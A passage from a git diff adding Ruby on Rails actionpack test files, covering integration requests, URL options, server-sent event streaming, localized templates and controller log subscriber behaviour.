+  def test_generate_url_without_controller
+    assert_equal "http://www.example.com/foo", url_for(controller: "foo")
+  end
+
+  def test_pass_headers
+    get "/success", headers: { "Referer" => "http://www.example.com/foo", "Host" => "http://nohost.com" }
+
+    assert_equal "http://nohost.com", @request.env["HTTP_HOST"]
+    assert_equal "http://www.example.com/foo", @request.env["HTTP_REFERER"]
+  end
+
+  def test_pass_headers_and_env
+    get "/success", headers: { "X-Test-Header" => "value" }, env: { "HTTP_REFERER" => "http://test.com/", "HTTP_HOST" => "http://test.com" }
+
+    assert_equal "http://test.com", @request.env["HTTP_HOST"]
+    assert_equal "http://test.com/", @request.env["HTTP_REFERER"]
+    assert_equal "value", @request.env["HTTP_X_TEST_HEADER"]
+  end
+
+  def test_pass_env
+    get "/success", env: { "HTTP_REFERER" => "http://test.com/", "HTTP_HOST" => "http://test.com" }
+
+    assert_equal "http://test.com", @request.env["HTTP_HOST"]
+    assert_equal "http://test.com/", @request.env["HTTP_REFERER"]
+  end
+
+  def test_ignores_common_ports_in_host
+    get "http://test.com"
+    assert_equal "test.com", @request.env["HTTP_HOST"]
+
+    get "https://test.com"
+    assert_equal "test.com", @request.env["HTTP_HOST"]
+  end
+
+  def test_keeps_uncommon_ports_in_host
+    get "http://test.com:123"
+    assert_equal "test.com:123", @request.env["HTTP_HOST"]
+
+    get "http://test.com:443"
+    assert_equal "test.com:443", @request.env["HTTP_HOST"]
+
+    get "https://test.com:80"
+    assert_equal "test.com:80", @request.env["HTTP_HOST"]
+  end
+end
+
+class ApplicationIntegrationTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    def index
+      render plain: "index"
+    end
+  end
+
+  def self.call(env)
+    routes.call(env)
+  end
+
+  def self.routes
+    @routes ||= ActionDispatch::Routing::RouteSet.new
+  end
+
+  class MountedApp < Rails::Engine
+    def self.routes
+      @routes ||= ActionDispatch::Routing::RouteSet.new
+    end
+
+    routes.draw do
+      get "baz", to: "application_integration_test/test#index", as: :baz
+    end
+
+    def self.call(*)
+    end
+  end
+
+  routes.draw do
+    get "",    to: "application_integration_test/test#index", as: :empty_string
+
+    get "foo", to: "application_integration_test/test#index", as: :foo
+    get "bar", to: "application_integration_test/test#index", as: :bar
+
+    mount MountedApp => "/mounted", :as => "mounted"
+    get "fooz" => proc { |env| [ 200, { "X-Cascade" => "pass" }, [ "omg" ] ] }, :anchor => false
+    get "fooz", to: "application_integration_test/test#index"
+  end
+
+  def app
+    self.class
+  end
+
+  test "includes route helpers" do
+    assert_equal "/", empty_string_path
+    assert_equal "/foo", foo_path
+    assert_equal "/bar", bar_path
+  end
+
+  test "includes mounted helpers" do
+    assert_equal "/mounted/baz", mounted.baz_path
+  end
+
+  test "path after cascade pass" do
+    get "/fooz"
+    assert_equal "index", response.body
+    assert_equal "/fooz", path
+  end
+
+  test "route helpers after controller access" do
+    get "/"
+    assert_equal "/", empty_string_path
+
+    get "/foo"
+    assert_equal "/foo", foo_path
+
+    get "/bar"
+    assert_equal "/bar", bar_path
+  end
+
+  test "missing route helper before controller access" do
+    assert_raise(NameError) { missing_path }
+  end
+
+  test "missing route helper after controller access" do
+    get "/foo"
+    assert_raise(NameError) { missing_path }
+  end
+
+  test "process do not modify the env passed as argument" do
+    env = { :SERVER_NAME => "server", "action_dispatch.custom" => "custom" }
+    old_env = env.dup
+    get "/foo", env: env
+    assert_equal old_env, env
+  end
+end
+
+class EnvironmentFilterIntegrationTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    def post
+      render plain: "Created", status: 201
+    end
+  end
+
+  def self.call(env)
+    env["action_dispatch.parameter_filter"] = [:password]
+    routes.call(env)
+  end
+
+  def self.routes
+    @routes ||= ActionDispatch::Routing::RouteSet.new
+  end
+
+  routes.draw do
+    match "/post", to: "environment_filter_integration_test/test#post", via: :post
+  end
+
+  def app
+    self.class
+  end
+
+  test "filters rack request form vars" do
+    post "/post", params: { username: "cjolly", password: "secret" }
+
+    assert_equal "cjolly", request.filtered_parameters["username"]
+    assert_equal "[FILTERED]", request.filtered_parameters["password"]
+    assert_equal "[FILTERED]", request.filtered_env["rack.request.form_vars"]
+  end
+end
+
+class UrlOptionsIntegrationTest < ActionDispatch::IntegrationTest
+  class FooController < ActionController::Base
+    def index
+      render plain: "foo#index"
+    end
+
+    def show
+      render plain: "foo#show"
+    end
+
+    def edit
+      render plain: "foo#show"
+    end
+  end
+
+  class BarController < ActionController::Base
+    def default_url_options
+      { host: "bar.com" }
+    end
+
+    def index
+      render plain: "foo#index"
+    end
+  end
+
+  def self.routes
+    @routes ||= ActionDispatch::Routing::RouteSet.new
+  end
+
+  def self.call(env)
+    routes.call(env)
+  end
+
+  def app
+    self.class
+  end
+
+  routes.draw do
+    default_url_options host: "foo.com"
+
+    scope module: "url_options_integration_test" do
+      get "/foo" => "foo#index", :as => :foos
+      get "/foo/:id" => "foo#show", :as => :foo
+      get "/foo/:id/edit" => "foo#edit", :as => :edit_foo
+      get "/bar" => "bar#index", :as => :bars
+    end
+  end
+
+  test "session uses default url options from routes" do
+    assert_equal "http://foo.com/foo", foos_url
+  end
+
+  test "current host overrides default url options from routes" do
+    get "/foo"
+    assert_response :success
+    assert_equal "http://www.example.com/foo", foos_url
+  end
+
+  test "controller can override default url options from request" do
+    get "/bar"
+    assert_response :success
+    assert_equal "http://bar.com/foo", foos_url
+  end
+
+  def test_can_override_default_url_options
+    original_host = default_url_options.dup
+
+    default_url_options[:host] = "foobar.com"
+    assert_equal "http://foobar.com/foo", foos_url
+
+    get "/bar"
+    assert_response :success
+    assert_equal "http://foobar.com/foo", foos_url
+  ensure
+    ActionDispatch::Integration::Session.default_url_options = self.default_url_options = original_host
+  end
+
+  test "current request path parameters are recalled" do
+    get "/foo/1"
+    assert_response :success
+    assert_equal "/foo/1/edit", url_for(action: "edit", only_path: true)
+  end
+end
+
+class HeadWithStatusActionIntegrationTest < ActionDispatch::IntegrationTest
+  class FooController < ActionController::Base
+    def status
+      head :ok
+    end
+  end
+
+  def self.routes
+    @routes ||= ActionDispatch::Routing::RouteSet.new
+  end
+
+  def self.call(env)
+    routes.call(env)
+  end
+
+  def app
+    self.class
+  end
+
+  routes.draw do
+    get "/foo/status" => "head_with_status_action_integration_test/foo#status"
+  end
+
+  test "get /foo/status with head result does not cause stack overflow error" do
+    assert_nothing_raised do
+      get "/foo/status"
+    end
+    assert_response :ok
+  end
+end
+
+class IntegrationWithRoutingTest < ActionDispatch::IntegrationTest
+  class FooController < ActionController::Base
+    def index
+      render plain: "ok"
+    end
+  end
+
+  def test_with_routing_resets_session
+    klass_namespace = self.class.name.underscore
+
+    with_routing do |routes|
+      routes.draw do
+        namespace klass_namespace do
+          resources :foo, path: "/with"
+        end
+      end
+
+      get "/integration_with_routing_test/with"
+      assert_response 200
+      assert_equal "ok", response.body
+    end
+
+    with_routing do |routes|
+      routes.draw do
+        namespace klass_namespace do
+          resources :foo, path: "/routing"
+        end
+      end
+
+      get "/integration_with_routing_test/routing"
+      assert_response 200
+      assert_equal "ok", response.body
+    end
+  end
+end
+
+# to work in contexts like rspec before(:all)
+class IntegrationRequestsWithoutSetup < ActionDispatch::IntegrationTest
+  self._setup_callbacks = []
+  self._teardown_callbacks = []
+
+  class FooController < ActionController::Base
+    def ok
+      cookies[:key] = "ok"
+      render plain: "ok"
+    end
+  end
+
+  def test_request
+    with_routing do |routes|
+      routes.draw do
+        ActiveSupport::Deprecation.silence do
+          get ":action" => FooController
+        end
+      end
+
+      get "/ok"
+
+      assert_response 200
+      assert_equal "ok", response.body
+      assert_equal "ok", cookies["key"]
+    end
+  end
+end
+
+# to ensure that session requirements in setup are persisted in the tests
+class IntegrationRequestsWithSessionSetup < ActionDispatch::IntegrationTest
+  setup do
+    cookies["user_name"] = "david"
+  end
+
+  def test_cookies_set_in_setup_are_persisted_through_the_session
+    get "/foo"
+    assert_equal({ "user_name" => "david" }, cookies.to_hash)
+  end
+end
+
+class IntegrationRequestEncodersTest < ActionDispatch::IntegrationTest
+  class FooController < ActionController::Base
+    def foos
+      render plain: "ok"
+    end
+
+    def foos_json
+      render json: params.permit(:foo)
+    end
+
+    def foos_wibble
+      render plain: "ok"
+    end
+  end
+
+  def test_standard_json_encoding_works
+    with_routing do |routes|
+      routes.draw do
+        ActiveSupport::Deprecation.silence do
+          post ":action" => FooController
+        end
+      end
+
+      post "/foos_json.json", params: { foo: "fighters" }.to_json,
+        headers: { "Content-Type" => "application/json" }
+
+      assert_response :success
+      assert_equal({ "foo" => "fighters" }, response.parsed_body)
+    end
+  end
+
+  def test_encoding_as_json
+    post_to_foos as: :json do
+      assert_response :success
+      assert_equal "application/json", request.content_type
+      assert_equal "application/json", request.accepts.first.to_s
+      assert_equal :json, request.format.ref
+      assert_equal({ "foo" => "fighters" }, request.request_parameters)
+      assert_equal({ "foo" => "fighters" }, response.parsed_body)
+    end
+  end
+
+  def test_doesnt_mangle_request_path
+    with_routing do |routes|
+      routes.draw do
+        ActiveSupport::Deprecation.silence do
+          post ":action" => FooController
+        end
+      end
+
+      post "/foos"
+      assert_equal "/foos", request.path
+
+      post "/foos_json", as: :json
+      assert_equal "/foos_json", request.path
+    end
+  end
+
+  def test_encoding_as_without_mime_registration
+    assert_raise ArgumentError do
+      ActionDispatch::IntegrationTest.register_encoder :wibble
+    end
+  end
+
+  def test_registering_custom_encoder
+    Mime::Type.register "text/wibble", :wibble
+
+    ActionDispatch::IntegrationTest.register_encoder(:wibble,
+      param_encoder: -> params { params })
+
+    post_to_foos as: :wibble do
+      assert_response :success
+      assert_equal "/foos_wibble", request.path
+      assert_equal "text/wibble", request.content_type
+      assert_equal "text/wibble", request.accepts.first.to_s
+      assert_equal :wibble, request.format.ref
+      assert_equal Hash.new, request.request_parameters # Unregistered MIME Type can't be parsed.
+      assert_equal "ok", response.parsed_body
+    end
+  ensure
+    Mime::Type.unregister :wibble
+  end
+
+  def test_parsed_body_without_as_option
+    with_routing do |routes|
+      routes.draw do
+        ActiveSupport::Deprecation.silence do
+          get ":action" => FooController
+        end
+      end
+
+      get "/foos_json.json", params: { foo: "heyo" }
+
+      assert_equal({ "foo" => "heyo" }, response.parsed_body)
+    end
+  end
+
+  def test_get_parameters_with_as_option
+    with_routing do |routes|
+      routes.draw do
+        ActiveSupport::Deprecation.silence do
+          get ":action" => FooController
+        end
+      end
+
+      get "/foos_json?foo=heyo", as: :json
+
+      assert_equal({ "foo" => "heyo" }, response.parsed_body)
+    end
+  end
+
+  def test_get_request_with_json_uses_method_override_and_sends_a_post_request
+    with_routing do |routes|
+      routes.draw do
+        ActiveSupport::Deprecation.silence do
+          get ":action" => FooController
+        end
+      end
+
+      get "/foos_json", params: { foo: "heyo" }, as: :json
+
+      assert_equal "POST", request.method
+      assert_equal "GET", request.headers["X-Http-Method-Override"]
+      assert_equal({ "foo" => "heyo" }, response.parsed_body)
+    end
+  end
+
+  private
+    def post_to_foos(as:)
+      with_routing do |routes|
+        routes.draw do
+          ActiveSupport::Deprecation.silence do
+            post ":action" => FooController
+          end
+        end
+
+        post "/foos_#{as}", params: { foo: "fighters" }, as: as
+
+        yield
+      end
+    end
+end
+
+class IntegrationFileUploadTest < ActionDispatch::IntegrationTest
+  class IntegrationController < ActionController::Base
+    def test_file_upload
+      render plain: params[:file].size
+    end
+  end
+
+  def self.routes
+    @routes ||= ActionDispatch::Routing::RouteSet.new
+  end
+
+  def self.call(env)
+    routes.call(env)
+  end
+
+  def app
+    self.class
+  end
+
+  def self.fixture_path
+    File.expand_path("../fixtures/multipart", __dir__)
+  end
+
+  routes.draw do
+    post "test_file_upload", to: "integration_file_upload_test/integration#test_file_upload"
+  end
+
+  def test_fixture_file_upload
+    post "/test_file_upload",
+      params: {
+        file: fixture_file_upload("/ruby_on_rails.jpg", "image/jpg")
+      }
+    assert_equal "45142", @response.body
+  end
+end
diff --git a/actionpack/test/controller/live_stream_test.rb b/actionpack/test/controller/live_stream_test.rb
new file mode 100644
index 0000000000..1ccbee8a0f
--- /dev/null
+++ b/actionpack/test/controller/live_stream_test.rb
@@ -0,0 +1,518 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "timeout"
+require "concurrent/atomic/count_down_latch"
+Thread.abort_on_exception = true
+
+module ActionController
+  class SSETest < ActionController::TestCase
+    class SSETestController < ActionController::Base
+      include ActionController::Live
+
+      def basic_sse
+        response.headers["Content-Type"] = "text/event-stream"
+        sse = SSE.new(response.stream)
+        sse.write("{\"name\":\"John\"}")
+        sse.write(name: "Ryan")
+      ensure
+        sse.close
+      end
+
+      def sse_with_event
+        sse = SSE.new(response.stream, event: "send-name")
+        sse.write("{\"name\":\"John\"}")
+        sse.write(name: "Ryan")
+      ensure
+        sse.close
+      end
+
+      def sse_with_retry
+        sse = SSE.new(response.stream, retry: 1000)
+        sse.write("{\"name\":\"John\"}")
+        sse.write({ name: "Ryan" }, retry: 1500)
+      ensure
+        sse.close
+      end
+
+      def sse_with_id
+        sse = SSE.new(response.stream)
+        sse.write("{\"name\":\"John\"}", id: 1)
+        sse.write({ name: "Ryan" }, id: 2)
+      ensure
+        sse.close
+      end
+
+      def sse_with_multiple_line_message
+        sse = SSE.new(response.stream)
+        sse.write("first line.\nsecond line.")
+      ensure
+        sse.close
+      end
+    end
+
+    tests SSETestController
+
+    def wait_for_response_stream_close
+      response.body
+    end
+
+    def test_basic_sse
+      get :basic_sse
+
+      wait_for_response_stream_close
+      assert_match(/data: {\"name\":\"John\"}/, response.body)
+      assert_match(/data: {\"name\":\"Ryan\"}/, response.body)
+    end
+
+    def test_sse_with_event_name
+      get :sse_with_event
+
+      wait_for_response_stream_close
+      assert_match(/data: {\"name\":\"John\"}/, response.body)
+      assert_match(/data: {\"name\":\"Ryan\"}/, response.body)
+      assert_match(/event: send-name/, response.body)
+    end
+
+    def test_sse_with_retry
+      get :sse_with_retry
+
+      wait_for_response_stream_close
+      first_response, second_response = response.body.split("\n\n")
+      assert_match(/data: {\"name\":\"John\"}/, first_response)
+      assert_match(/retry: 1000/, first_response)
+
+      assert_match(/data: {\"name\":\"Ryan\"}/, second_response)
+      assert_match(/retry: 1500/, second_response)
+    end
+
+    def test_sse_with_id
+      get :sse_with_id
+
+      wait_for_response_stream_close
+      first_response, second_response = response.body.split("\n\n")
+      assert_match(/data: {\"name\":\"John\"}/, first_response)
+      assert_match(/id: 1/, first_response)
+
+      assert_match(/data: {\"name\":\"Ryan\"}/, second_response)
+      assert_match(/id: 2/, second_response)
+    end
+
+    def test_sse_with_multiple_line_message
+      get :sse_with_multiple_line_message
+
+      wait_for_response_stream_close
+      first_response, second_response = response.body.split("\n")
+      assert_match(/data: first line/, first_response)
+      assert_match(/data: second line/, second_response)
+    end
+  end
+
+  class LiveStreamTest < ActionController::TestCase
+    class Exception < StandardError
+    end
+
+    class TestController < ActionController::Base
+      include ActionController::Live
+
+      attr_accessor :latch, :tc, :error_latch
+
+      def self.controller_path
+        "test"
+      end
+
+      def set_cookie
+        cookies[:hello] = "world"
+        response.stream.write "hello world"
+        response.close
+      end
+
+      def render_text
+        render plain: "zomg"
+      end
+
+      def default_header
+        response.stream.write "<html><body>hi</body></html>"
+        response.stream.close
+      end
+
+      def basic_stream
+        response.headers["Content-Type"] = "text/event-stream"
+        %w{ hello world }.each do |word|
+          response.stream.write word
+        end
+        response.stream.close
+      end
+
+      def blocking_stream
+        response.headers["Content-Type"] = "text/event-stream"
+        %w{ hello world }.each do |word|
+          response.stream.write word
+          latch.wait
+        end
+        response.stream.close
+      end
+
+      def write_sleep_autoload
+        path = File.expand_path("../fixtures", __dir__)
+        ActiveSupport::Dependencies.autoload_paths << path
+
+        response.headers["Content-Type"] = "text/event-stream"
+        response.stream.write "before load"
+        sleep 0.01
+        silence_warning do
+          ::LoadMe
+        end
+        response.stream.close
+        latch.count_down
+
+        ActiveSupport::Dependencies.autoload_paths.reject! { |p| p == path }
+      end
+
+      def thread_locals
+        tc.assert_equal "aaron", Thread.current[:setting]
+
+        response.headers["Content-Type"] = "text/event-stream"
+        %w{ hello world }.each do |word|
+          response.stream.write word
+        end
+        response.stream.close
+      end
+
+      def with_stale
+        render plain: "stale" if stale?(etag: "123", template: false)
+      end
+
+      def exception_in_view
+        render "doesntexist"
+      end
+
+      def exception_in_view_after_commit
+        response.stream.write ""
+        render "doesntexist"
+      end
+
+      def exception_with_callback
+        response.headers["Content-Type"] = "text/event-stream"
+
+        response.stream.on_error do
+          response.stream.write %(data: "500 Internal Server Error"\n\n)
+          response.stream.close
+        end
+
+        response.stream.write "" # make sure the response is committed
+        raise "An exception occurred..."
+      end
+
+      def exception_in_controller
+        raise Exception, "Exception in controller"
+      end
+
+      def bad_request_error
+        raise ActionController::BadRequest
+      end
+
+      def exception_in_exception_callback
+        response.headers["Content-Type"] = "text/event-stream"
+        response.stream.on_error do
+          raise "We need to go deeper."
+        end
+        response.stream.write ""
+        response.stream.write params[:widget][:didnt_check_for_nil]
+      end
+
+      def overfill_buffer_and_die
+        logger = ActionController::Base.logger || Logger.new($stdout)
+        response.stream.on_error do
+          logger.warn "Error while streaming."
+          error_latch.count_down
+        end
+
+        # Write until the buffer is full. It doesn't expose that
+        # information directly, so we must hard-code its size:
+        10.times do
+          response.stream.write "."
+        end
+        # .. plus one more, because the #each frees up a slot:
+        response.stream.write "."
+
+        latch.count_down
+
+        # This write will block, and eventually raise
+        response.stream.write "x"
+
+        20.times do
+          response.stream.write "."
+        end
+      end
+
+      def ignore_client_disconnect
+        response.stream.ignore_disconnect = true
+
+        response.stream.write "" # commit
+
+        # These writes will be ignored
+        15.times do
+          response.stream.write "x"
+        end
+
+        logger.info "Work complete"
+        latch.count_down
+      end
+    end
+
+    tests TestController
+
+    def assert_stream_closed
+      assert response.stream.closed?, "stream should be closed"
+      assert response.committed?,     "response should be committed"
+      assert response.sent?,          "response should be sent"
+    end
+
+    def capture_log_output
+      output = StringIO.new
+      old_logger, ActionController::Base.logger = ActionController::Base.logger, ActiveSupport::Logger.new(output)
+
+      begin
+        yield output
+      ensure
+        ActionController::Base.logger = old_logger
+      end
+    end
+
+    def setup
+      super
+
+      def @controller.new_controller_thread
+        Thread.new { yield }
+      end
+    end
+
+    def test_set_cookie
+      get :set_cookie
+      assert_equal({ "hello" => "world" }, @response.cookies)
+      assert_equal "hello world", @response.body
+    end
+
+    def test_write_to_stream
+      get :basic_stream
+      assert_equal "helloworld", @response.body
+      assert_equal "text/event-stream", @response.headers["Content-Type"]
+    end
+
+    def test_delayed_autoload_after_write_within_interlock_hook
+      # Simulate InterlockHook
+      ActiveSupport::Dependencies.interlock.start_running
+      res = get :write_sleep_autoload
+      res.each {}
+      ActiveSupport::Dependencies.interlock.done_running
+    end
+
+    def test_async_stream
+      rubinius_skip "https://github.com/rubinius/rubinius/issues/2934"
+
+      @controller.latch = Concurrent::CountDownLatch.new
+      parts             = ["hello", "world"]
+
+      get :blocking_stream
+
+      t = Thread.new(response) { |resp|
+        resp.await_commit
+        resp.stream.each do |part|
+          assert_equal parts.shift, part
+          ol = @controller.latch
+          @controller.latch = Concurrent::CountDownLatch.new
+          ol.count_down
+        end
+      }
+
+      assert t.join(3), "timeout expired before the thread terminated"
+    end
+
+    def test_abort_with_full_buffer
+      @controller.latch = Concurrent::CountDownLatch.new
+      @controller.error_latch = Concurrent::CountDownLatch.new
+
+      capture_log_output do |output|
+        get :overfill_buffer_and_die, format: "plain"
+
+        t = Thread.new(response) { |resp|
+          resp.await_commit
+          _, _, body = resp.to_a
+          body.each do
+            @controller.latch.wait
+            body.close
+            break
+          end
+        }
+
+        t.join
+        @controller.error_latch.wait
+        assert_match "Error while streaming", output.rewind && output.read
+      end
+    end
+
+    def test_ignore_client_disconnect
+      @controller.latch = Concurrent::CountDownLatch.new
+
+      capture_log_output do |output|
+        get :ignore_client_disconnect
+
+        t = Thread.new(response) { |resp|
+          resp.await_commit
+          _, _, body = resp.to_a
+          body.each do
+            body.close
+            break
+          end
+        }
+
+        t.join
+        Timeout.timeout(3) do
+          @controller.latch.wait
+        end
+        assert_match "Work complete", output.rewind && output.read
+      end
+    end
+
+    def test_thread_locals_get_copied
+      @controller.tc = self
+      Thread.current[:originating_thread] = Thread.current.object_id
+      Thread.current[:setting]            = "aaron"
+
+      get :thread_locals
+    end
+
+    def test_live_stream_default_header
+      get :default_header
+      assert response.headers["Content-Type"]
+    end
+
+    def test_render_text
+      get :render_text
+      assert_equal "zomg", response.body
+      assert_stream_closed
+    end
+
+    def test_exception_handling_html
+      assert_raises(ActionView::MissingTemplate) do
+        get :exception_in_view
+      end
+
+      capture_log_output do |output|
+        get :exception_in_view_after_commit
+        assert_match %r((window\.location = "/500\.html"</script></html>)$), response.body
+        assert_match "Missing template test/doesntexist", output.rewind && output.read
+        assert_stream_closed
+      end
+      assert response.body
+      assert_stream_closed
+    end
+
+    def test_exception_handling_plain_text
+      assert_raises(ActionView::MissingTemplate) do
+        get :exception_in_view, format: :json
+      end
+
+      capture_log_output do |output|
+        get :exception_in_view_after_commit, format: :json
+        assert_equal "", response.body
+        assert_match "Missing template test/doesntexist", output.rewind && output.read
+        assert_stream_closed
+      end
+    end
+
+    def test_exception_callback_when_committed
+      current_threads = Thread.list
+
+      capture_log_output do |output|
+        get :exception_with_callback, format: "text/event-stream"
+
+        # Wait on the execution of all threads
+        (Thread.list - current_threads).each(&:join)
+
+        assert_equal %(data: "500 Internal Server Error"\n\n), response.body
+        assert_match "An exception occurred...", output.rewind && output.read
+        assert_stream_closed
+      end
+    end
+
+    def test_exception_in_controller_before_streaming
+      assert_raises(ActionController::LiveStreamTest::Exception) do
+        get :exception_in_controller, format: "text/event-stream"
+      end
+    end
+
+    def test_bad_request_in_controller_before_streaming
+      assert_raises(ActionController::BadRequest) do
+        get :bad_request_error, format: "text/event-stream"
+      end
+    end
+
+    def test_exceptions_raised_handling_exceptions_and_committed
+      capture_log_output do |output|
+        get :exception_in_exception_callback, format: "text/event-stream"
+        assert_equal "", response.body
+        assert_match "We need to go deeper", output.rewind && output.read
+        assert_stream_closed
+      end
+    end
+
+    def test_stale_without_etag
+      get :with_stale
+      assert_equal 200, response.status.to_i
+    end
+
+    def test_stale_with_etag
+      @request.if_none_match = %(W/"#{Digest::MD5.hexdigest('123')}")
+      get :with_stale
+      assert_equal 304, response.status.to_i
+    end
+  end
+
+  class BufferTest < ActionController::TestCase
+    def test_nil_callback
+      buf = ActionController::Live::Buffer.new nil
+      assert buf.call_on_error
+    end
+  end
+end
+
+class LiveStreamRouterTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    include ActionController::Live
+
+    def index
+      response.headers["Content-Type"] = "text/event-stream"
+      sse = SSE.new(response.stream)
+      sse.write("{\"name\":\"John\"}")
+      sse.write(name: "Ryan")
+    ensure
+      sse.close
+    end
+  end
+
+  def self.call(env)
+    routes.call(env)
+  end
+
+  def self.routes
+    @routes ||= ActionDispatch::Routing::RouteSet.new
+  end
+
+  routes.draw do
+    get "/test" => "live_stream_router_test/test#index"
+  end
+
+  def app
+    self.class
+  end
+
+  test "streaming served through the router" do
+    get "/test"
+
+    assert_response :ok
+    assert_match(/data: {\"name\":\"John\"}/, response.body)
+    assert_match(/data: {\"name\":\"Ryan\"}/, response.body)
+  end
+end
diff --git a/actionpack/test/controller/localized_templates_test.rb b/actionpack/test/controller/localized_templates_test.rb
new file mode 100644
index 0000000000..d84a76fb46
--- /dev/null
+++ b/actionpack/test/controller/localized_templates_test.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class LocalizedController < ActionController::Base
+  def hello_world
+  end
+end
+
+class LocalizedTemplatesTest < ActionController::TestCase
+  tests LocalizedController
+
+  setup do
+    @old_locale = I18n.locale
+  end
+
+  teardown do
+    I18n.locale = @old_locale
+  end
+
+  def test_localized_template_is_used
+    I18n.locale = :de
+    get :hello_world
+    assert_equal "Guten Tag", @response.body
+  end
+
+  def test_default_locale_template_is_used_when_locale_is_missing
+    I18n.locale = :dk
+    get :hello_world
+    assert_equal "Hello World", @response.body
+  end
+
+  def test_use_fallback_locales
+    I18n.locale = :"de-AT"
+    I18n.backend.class.include(I18n::Backend::Fallbacks)
+    I18n.fallbacks[:"de-AT"] = [:de]
+
+    get :hello_world
+    assert_equal "Guten Tag", @response.body
+  end
+
+  def test_localized_template_has_correct_header_with_no_format_in_template_name
+    I18n.locale = :it
+    get :hello_world
+    assert_equal "Ciao Mondo", @response.body
+    assert_equal "text/html",  @response.content_type
+  end
+end
diff --git a/actionpack/test/controller/log_subscriber_test.rb b/actionpack/test/controller/log_subscriber_test.rb
new file mode 100644
index 0000000000..f0f106c8ba
--- /dev/null
+++ b/actionpack/test/controller/log_subscriber_test.rb
@@ -0,0 +1,371 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/log_subscriber/test_helper"
+require "action_controller/log_subscriber"
+
+module Another
+  class LogSubscribersController < ActionController::Base
+    wrap_parameters :person, include: :name, format: :json
+
+    class SpecialException < Exception
+    end
+
+    rescue_from SpecialException do
+      head 406
+    end
+
+    before_action :redirector, only: :never_executed
+
+    def never_executed
+    end
+
+    def show
+      head :ok
+    end
+
+    def redirector
+      redirect_to "http://foo.bar/"
+    end
+
+    def filterable_redirector
+      redirect_to "http://secret.foo.bar/"
+    end
+
+    def data_sender
+      send_data "cool data", filename: "file.txt"
+    end
+
+    def file_sender
+      send_file File.expand_path("company.rb", FIXTURE_LOAD_PATH)
+    end
+
+    def with_fragment_cache
+      render inline: "<%= cache('foo'){ 'bar' } %>"
+    end
+
+    def with_fragment_cache_and_percent_in_key
+      render inline: "<%= cache('foo%bar'){ 'Contains % sign in key' } %>"
+    end
+
+    def with_fragment_cache_if_with_true_condition
+      render inline: "<%= cache_if(true, 'foo') { 'bar' } %>"
+    end
+
+    def with_fragment_cache_if_with_false_condition
+      render inline: "<%= cache_if(false, 'foo') { 'bar' } %>"
+    end
+
+    def with_fragment_cache_unless_with_false_condition
+      render inline: "<%= cache_unless(false, 'foo') { 'bar' } %>"
+    end
+
+    def with_fragment_cache_unless_with_true_condition
+      render inline: "<%= cache_unless(true, 'foo') { 'bar' } %>"
+    end
+
+    def with_exception
+      raise Exception
+    end
+
+    def with_rescued_exception
+      raise SpecialException
+    end
+
+    def with_action_not_found
+      raise AbstractController::ActionNotFound
+    end
+
+    def append_info_to_payload(payload)
+      super
+      payload[:test_key] = "test_value"
+      @last_payload = payload
+    end
+
+    def last_payload
+      @last_payload
+    end
+  end
+end
+
+class ACLogSubscriberTest < ActionController::TestCase
+  tests Another::LogSubscribersController
+  include ActiveSupport::LogSubscriber::TestHelper
+
+  def setup
+    super
+    ActionController::Base.enable_fragment_cache_logging = true
+
+    @old_logger = ActionController::Base.logger
+
+    @cache_path = File.join Dir.tmpdir, Dir::Tmpname.make_tmpname("tmp", "cache")
+    @controller.cache_store = :file_store, @cache_path
+    ActionController::LogSubscriber.attach_to :action_controller
+  end
+
+  def teardown
+    super
+    ActiveSupport::LogSubscriber.log_subscribers.clear
+    FileUtils.rm_rf(@cache_path)
+    ActionController::Base.logger = @old_logger
+    ActionController::Base.enable_fragment_cache_logging = true
+  end
+
+  def set_logger(logger)
+    ActionController::Base.logger = logger
+  end
+
+  def test_start_processing
+    get :show
+    wait
+    assert_equal 2, logs.size
+    assert_equal "Processing by Another::LogSubscribersController#show as HTML", logs.first
+  end
+
+  def test_halted_callback
+    get :never_executed
+    wait
+    assert_equal 4, logs.size
+    assert_equal "Filter chain halted as :redirector rendered or redirected", logs.third
+  end
+
+  def test_process_action
+    get :show
+    wait
+    assert_equal 2, logs.size
+    assert_match(/Completed/, logs.last)
+    assert_match(/200 OK/, logs.last)
+  end
+
+  def test_process_action_without_parameters
+    get :show
+    wait
+    assert_nil logs.detect { |l| l =~ /Parameters/ }
+  end
+
+  def test_process_action_with_parameters
+    get :show, params: { id: "10" }
+    wait
+
+    assert_equal 3, logs.size
+    assert_equal 'Parameters: {"id"=>"10"}', logs[1]
+  end
+
+  def test_multiple_process_with_parameters
+    get :show, params: { id: "10" }
+    get :show, params: { id: "20" }
+
+    wait
+
+    assert_equal 6, logs.size
+    assert_equal 'Parameters: {"id"=>"10"}', logs[1]
+    assert_equal 'Parameters: {"id"=>"20"}', logs[4]
+  end
+
+  def test_process_action_with_wrapped_parameters
+    @request.env["CONTENT_TYPE"] = "application/json"
+    post :show, params: { id: "10", name: "jose" }
+    wait
+
+    assert_equal 3, logs.size
+    assert_match '"person"=>{"name"=>"jose"}', logs[1]
+  end
+
+  def test_process_action_with_view_runtime
+    get :show
+    wait
+    assert_match(/Completed 200 OK in \d+ms/, logs[1])
+  end
+
+  def test_append_info_to_payload_is_called_even_with_exception
+    begin
+      get :with_exception
+      wait
+    rescue Exception
+    end
+
+    assert_equal "test_value", @controller.last_payload[:test_key]
+  end
+
+  def test_process_action_headers
+    get :show
+    wait
+    assert_equal "Rails Testing", @controller.last_payload[:headers]["User-Agent"]
+  end
+
+  def test_process_action_with_filter_parameters
+    @request.env["action_dispatch.parameter_filter"] = [:lifo, :amount]
+
+    get :show, params: {
+      lifo: "Pratik", amount: "420", step: "1"
+    }
+    wait
+
+    params = logs[1]
+    assert_match(/"amount"=>"\[FILTERED\]"/, params)
+    assert_match(/"lifo"=>"\[FILTERED\]"/, params)
+    assert_match(/"step"=>"1"/, params)
+  end
+
+  def test_redirect_to
+    get :redirector
+    wait
+
+    assert_equal 3, logs.size
+    assert_equal "Redirected to http://foo.bar/", logs[1]
+  end
+
+  def test_filter_redirect_url_by_string
+    @request.env["action_dispatch.redirect_filter"] = ["secret"]
+    get :filterable_redirector
+    wait
+
+    assert_equal 3, logs.size
+    assert_equal "Redirected to [FILTERED]", logs[1]
+  end
+
